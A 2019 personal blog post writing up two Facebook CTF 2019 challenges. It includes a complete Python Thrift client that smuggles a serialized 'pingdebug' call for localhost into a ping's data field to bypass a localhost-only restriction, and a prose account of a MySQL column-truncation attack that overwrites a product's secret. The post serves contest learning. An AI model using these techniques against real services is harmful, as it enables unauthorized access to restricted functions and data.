Sunday, June 2, 2019

Facebook CTF 2019

I spent nearly all weekend bashing my head against the wall trying to solve the challenges developed by the masterminds behind the Facebook CTF. Though I only managed to solve a couple, I felt decently accomplished and had a lot of fun.


Challenge: "homework_assignment_1337"



This was a neat challenge that involved developing a Thrift client based on a provided .thrift file in order to perform pings to the Thrift server. While pinging the server alone was not enough to get the flag, there was a nice exploit(?) to make the server dump the flag.

I had no idea what Thrift even was, so headed to Google to read the documentation. Essentially it is a nice lightweight way for making RPCs and spinning up a client (and server for that matter) was not too difficult. Full documentation and starting guide can be found here.

I decided to go the Python route, so first, using the provided ping.thrift file, we generate the Python code.


thrift -r --gen py ping.thrift

After the Python is generated, I took the entire import header section of the PingBot-remote file that was created and made a new file for my client code, which I placed in the created gen-py directory.

Looking at the ping.thrift file, there were two functions associated with the PingBot service: ping and pingdebug. The former will just ping a given host, while the latter was said to be restricted to localhost execution only.

service PingBot {

  /**
   * A method definition looks like C code. It has a return type, arguments,
   * and optionally a list of exceptions that it may throw. Note that argument
   * lists and exception lists are specified using the exact same syntax as
   * field lists in struct or exception definitions.
   */


  // As part of your homework you should call this method.
  // Ping the server I set up by correctly setting the proto and host fields
  // within the Ping structure.
  Pong ping(1:Ping input),



  // You do not have to call this method as part of your homework.
  // I added this to check people's work, it is my admin interface so to speak.
  // It should only work for localhost connections either way, if your client
  // tries to call it, your connection will be denied, hahaha!
  PongDebug pingdebug(1:Debug dummy),

}

Due to the comment, I surmised that the real goal here was to find a way to call pingdebug and trick the system into thinking it was being called from localhost, which should *hopefully* reveal the flag.

After a bit of struggle and exploration of all the dependency Python files, I managed to work out how to successfully ping the server.



Seeing that there is a data field and knowing that 'data' can be passed as an argument for the ping function, this seems interesting and will likely be where our flag is output.

Pressing on, I attempted to make a pingdebug call, but was rejected, confirming that this function is indeed restricted.



Based on the .thrift file, the data variable is set to be a binary array, and to probe a bit, I initially set data to be bytearray(64) and other integer values to see if anything was returned. Sure enough, the data field was populated with a bunch of hex when pinging the server.


This output is interesting and seems to be waiting for some kind of input to execute indicated by the "Unknown function" string present. It took a bit of trial and error to figure out what to do here, but converting the strings "pingdebug" and "localhost:9090" to hex and placing them in position, it was possible to send that back to the server and get the flag.

Final code (cleaned up to print out the flag neatly):


#!/usr/bin/env python

import sys
import pprint
from thrift.transport import TTransport, TSocket, TSSLSocket, THttpClient
from thrift.protocol.TBinaryProtocol import TBinaryProtocol
from thrift import Thrift
from ping import PingBot
from ping.ttypes import *

socket = TSocket.TSocket('challenges.fbctf.com', 9090)
transport = TTransport.TBufferedTransport(socket)
protocol = TBinaryProtocol(transport)
client = PingBot.Client(protocol)

transport.open()
print "[*] Opening connection to Thrift server@challenges.fbctf.com:9090"

host = 'localhost:9090'
proto = 1
data = '\x80\x01\x00\x01\x00\x00\x00\x09\x70\x69\x6e\x67\x64\x65\x62\x75\x67\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x00\x02\x0b\x00\x02\x00\x00\x00\x0e\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x3a\x39\x30\x39\x30\x00\x00' 

print "[*] Pinging %s" % host
print "------------------------------"
try:
   print "[*]Raw data:"
   print((client.ping(Ping(proto,host,data))))

   print "\n"+ "[!]Flag = " + str((client.ping(Ping(proto,host,data)))).split('"')[1]

except Thrift.TException, tx:
   print "[x] " + tx.message
   sys.exit(0)  
print "------------------------------"

transport.close()
print "[*] Disconnected from Thrift server."







Challenge: "Product Manager"



This was a fun little web challenge. The application allows for the addition of products that you list with a special password, and it is also possible to view these products by specifying the product name and password.



I starting attacking it for quite a bit before I realized that the source code for the page was given. Initially, I thought for sure it would be some form of a second order SQL injection, but after reviewing the source code for the db.php file, I noticed something interesting:




/*
CREATE TABLE products (
  name char(64),
  secret char(64),
  description varchar(250)
);

INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE');
INSERT INTO products VALUES('messenger', sha256(....), ....);
INSERT INTO products VALUES('instagram', sha256(....), ....);
INSERT INTO products VALUES('whatsapp', sha256(....), ....);
INSERT INTO products VALUES('oculus-rift', sha256(....), ....);
*/
error_reporting(0);
require_once("config.php"); // DB config

First, we know where the flag is going to be. It's a description for the 'facebook' product, but to see it we will need the secret password. Or do we? Loooking at the CREATE TABLE products function, there is a limited buffer space given, so it is possible to perform a SQL truncation attack due to how mySQL handles spaces.


For the product name, I entered "facebook" followed by a bunch of spaces and then just arbitrary text, which was "adminf", and then set an arbitrary password. (Description text was left over from my prodding...)



What this will do is make the server cut off extraneous characters that were over the buffer and then truncate the remaining empty spaces which results in the product name being "facebook". It also changes the product's password to what we input allowing access to this product's page.

Inputting 'facebook' for the product, and then our secret password, we can browse the product page which reveals the flag.


Powered by Blogger.